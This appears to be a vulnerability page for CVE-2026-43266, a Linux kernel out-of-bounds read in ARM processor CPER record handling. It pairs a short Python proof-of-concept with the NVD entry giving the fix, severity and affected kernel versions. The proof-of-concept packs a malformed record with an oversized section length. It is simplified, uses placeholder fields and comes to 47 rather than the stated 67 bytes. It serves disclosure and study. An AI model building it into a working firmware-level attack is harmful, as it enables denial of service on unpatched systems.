CVE-2026-43266

import struct # Conceptual PoC to generate a malicious ARM Processor CPER record # based on the description: 67 bytes total, huge section_length. def create_malicious_cper(): # Header placeholder (simplified) record_header = b'\x00' * 20 # Section Type: ARM Processor Error (GUID placeholder) section_type = b'ARM PROC ERR ' # Malicious Section Length: 854918320 (0x33063210) # This value is too big for the buffer section_length = struct.pack('<I', 854918320) # ERR_INFO_NUM: 46198 (0xB476) err_info_num = struct.pack('<H', 46198) # MIDR from log midr = struct.pack('<Q', 0xff304b2f8476870a) # Assemble the record structure (simplified representation) # In a real exploit, this would be injected via firmware or ACPI table modification payload = record_header + section_type + section_length + err_info_num + midr print(f"Generated Malicious Record Payload (Length: {len(payload)})") print(f"Section Length field: {854918320}") print(f"ERR_INFO_NUM field: {46198}") # This data, if processed by a vulnerable kernel, triggers the OOB read. return payload if __name__ == "__main__": create_malicious_cper()

{"cve": {"id": "CVE-2026-43266", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:47.647", "lastModified": "2026-05-08T20:46:52.477", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nEFI/CPER: don't go past the ARM processor CPER record buffer\n\nThere's a logic inside GHES/CPER to detect if the section_length\nis too small, but it doesn't detect if it is too big.\n\nCurrently, if the firmware receives an ARM processor CPER record\nstating that a section length is big, kernel will blindly trust\nsection_length, producing a very long dump. For instance, a 67\nbytes record with ERR_INFO_NUM set 46198 and section length\nset to 854918320 would dump a lot of data going a way past the\nfirmware memory-mapped area.\n\nFix it by adding a logic to prevent it to go past the buffer\nif ERR_INFO_NUM is too big, making it report instead:\n\n\t[Hardware Error]: Hardware error from APEI Generic Hardware Error Source: 1\n\t[Hardware Error]: event severity: recoverable\n\t[Hardware Error]: Error 0, type: recoverable\n\t[Hardware Error]: section_type: ARM processor error\n\t[Hardware Error]: MIDR: 0xff304b2f8476870a\n\t[Hardware Error]: section length: 854918320, CPER size: 67\n\t[Hardware Error]: section length is too big\n\t[Hardware Error]: firmware-generated error record is incorrect\n\t[Hardware Error]: ERR_INFO_NUM is 46198\n\n[ rjw: Subject and changelog tweaks ]"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.13", "versionEndExcluding": "5.10.252", "matchCriteriaId": "31A910C0-02A8-44D3-BAFE-9E8657D95FED"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.202", "matchCriteriaId": "4002FC2B-1456-4666-B240-0EBF590C4671"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.165", "matchCriteriaId": "797C7F46-D0BE-4FB8-A502-C5EF8E6B6654"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/25b290624b0e3d2f0f90238709ee0b6009b9fde8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/45766863baf899059e75595dd3cb1116467f2095", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/64eb63f573f497553e1a0c388bbcdd639e0f0704", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a68d22902a6916e10ee235fee609239004e129d0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/be10c1bdf64a39832998f54900aa309b3917abcf", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c80113dcfc807308f5ab33847fae77e07531aeb8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ca2aad8771aa9091bc9e42e7d546bd40b72ddcd4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/eae21beecb95a3b69ee5c38a659f774e171d730e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}